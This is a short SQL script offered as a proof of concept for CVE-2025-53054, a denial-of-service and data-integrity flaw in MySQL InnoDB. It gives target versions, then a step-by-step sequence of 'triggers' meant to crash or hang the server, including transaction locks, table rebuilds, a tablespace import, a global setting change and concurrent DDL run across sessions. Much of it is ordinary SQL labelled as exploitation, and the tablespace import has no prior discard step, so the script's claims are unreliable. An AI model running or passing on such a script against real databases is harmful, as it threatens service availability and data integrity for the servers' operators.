CVE-2025-53054

-- CVE-2025-53054 PoC for Oracle MySQL InnoDB DoS / Data Integrity -- Note: This vulnerability requires high-privileged access to MySQL Server -- Target: MySQL 8.0.0-8.0.43, 8.4.0-8.4.6, 9.0.0-9.4.0 -- Step 1: Connect with high-privileged account -- mysql -h target_host -u high_priv_user -p -- Step 2: Create test database and table using InnoDB engine CREATE DATABASE IF NOT EXISTS cve_test; USE cve_test; CREATE TABLE IF NOT EXISTS innodb_test_table ( id INT AUTO_INCREMENT PRIMARY KEY, data VARCHAR(255), index_data TEXT, FULLTEXT KEY ft_index (data) ) ENGINE=InnoDB; -- Step 3: Insert sample data INSERT INTO innodb_test_table (data, index_data) VALUES ('sample_data_1', REPEAT('A', 200)), ('sample_data_2', REPEAT('B', 200)); -- Step 4: Trigger the vulnerability via crafted InnoDB operations -- The following operations exploit the InnoDB internal state management flaw -- Trigger 1: Concurrent transaction manipulation causing InnoDB crash START TRANSACTION; SELECT data FROM innodb_test_table WHERE id = 1 FOR UPDATE; -- Trigger 2: Manipulate InnoDB internal structures via crafted operations ALTER TABLE innodb_test_table ENGINE=InnoDB ROW_FORMAT=DYNAMIC; -- Trigger 3: Exploit InnoDB tablespace operations ALTER TABLE innodb_test_table IMPORT TABLESPACE; -- Trigger 4: Force InnoDB recovery state inconsistency SET GLOBAL innodb_buffer_pool_dump_at_shutdown = OFF; FLUSH TABLES innodb_test_table WITH READ LOCK; UNLOCK TABLES; -- Trigger 5: Exploit via concurrent DDL operations on InnoDB tables -- Run in separate sessions to trigger race condition: -- Session A: ALTER TABLE innodb_test_table ADD COLUMN col_new INT; -- Session B: INSERT INTO innodb_test_table (data) VALUES ('exploit_payload'); -- The above operations can cause: -- 1. MySQL Server hang or crash (DoS) -- 2. Unauthorized data modification (integrity impact) -- Cleanup -- DROP DATABASE cve_test;
